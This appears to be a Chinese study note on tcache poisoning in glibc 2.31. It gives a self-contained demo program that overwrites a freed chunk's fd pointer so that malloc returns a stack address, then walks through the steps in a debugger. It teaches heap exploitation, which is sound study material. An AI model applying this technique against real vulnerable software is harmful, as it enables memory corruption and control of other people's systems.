tcache_poisoning 2.31
依然還是将非堆段位址作為僞造堆塊挂進tcache bin中,重新申請作為正常堆塊啟用
源碼
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <stdint.h>
4 #include <assert.h>
5
6 int main()
7 {
8 // disable buffering
9 setbuf(stdin, NULL);
10 setbuf(stdout, NULL);
11
12 printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
13 "returning a pointer to an arbitrary location (in this case, the stack).\n"
14 "The attack is very similar to fastbin corruption attack.\n");
15 printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
16 "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
17
18 size_t stack_var;
19 printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
20
21 printf("Allocating 2 buffers.\n");
22 intptr_t *a = malloc(128);
23 printf("malloc(128): %p\n", a);
24 intptr_t *b = malloc(128);
25 printf("malloc(128): %p\n", b);
26
27 printf("Freeing the buffers...\n");
28 free(a);
29 free(b);
30
31 printf("Now the tcache list has [ %p -> %p ].\n", b, a);
32 printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
33 "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
34 b[0] = (intptr_t)&stack_var;
35 printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
36
37 printf("1st malloc(128): %p\n", malloc(128));
38 printf("Now the tcache list has [ %p ].\n", &stack_var);
39
40 intptr_t *c = malloc(128);
41 printf("2nd malloc(128): %p\n", c);
42 printf("We got the control\n");
43
44 assert((long)&stack_var == (long)c);
45 return 0;
46 }
調試
22行下斷點,建立變量stack_var,其位址如下:

接下來在第28行下斷點,申請兩個0x90(data部分為0x80)大小的堆塊chunk_a和chunk_b:
34行下斷點,先釋放chunk_a在釋放chunk_b:
37行下斷點,将chunk_b的位置修改成stack_var的位址
接下來在40行下斷點,重新申請一個0x90大小的堆塊,将bin中的chunk_b申請出來,由于chunk_b的fd指針指向的是stack_var,是以在bin中的表現形式為chunk_b --> stack_var。是以當chunk_b被啟用後,挂在tcache bin頭部的堆塊就變成了stack_var:
最後在44行下斷點,申請一個0x90大小的堆塊chunk_c,這個時候由于tcache bin的頭部為stack_var,并且stack_var挂在的0x90這串連結清單中,是以stack_var就被作為一個堆塊啟用了:
總結
- 比較基礎的修改堆塊fd指針的操作
- 如果想要利用該技巧,需要能夠對釋放堆塊進行寫操作,那麼就說明釋放之後堆塊的malloc指針沒有被清空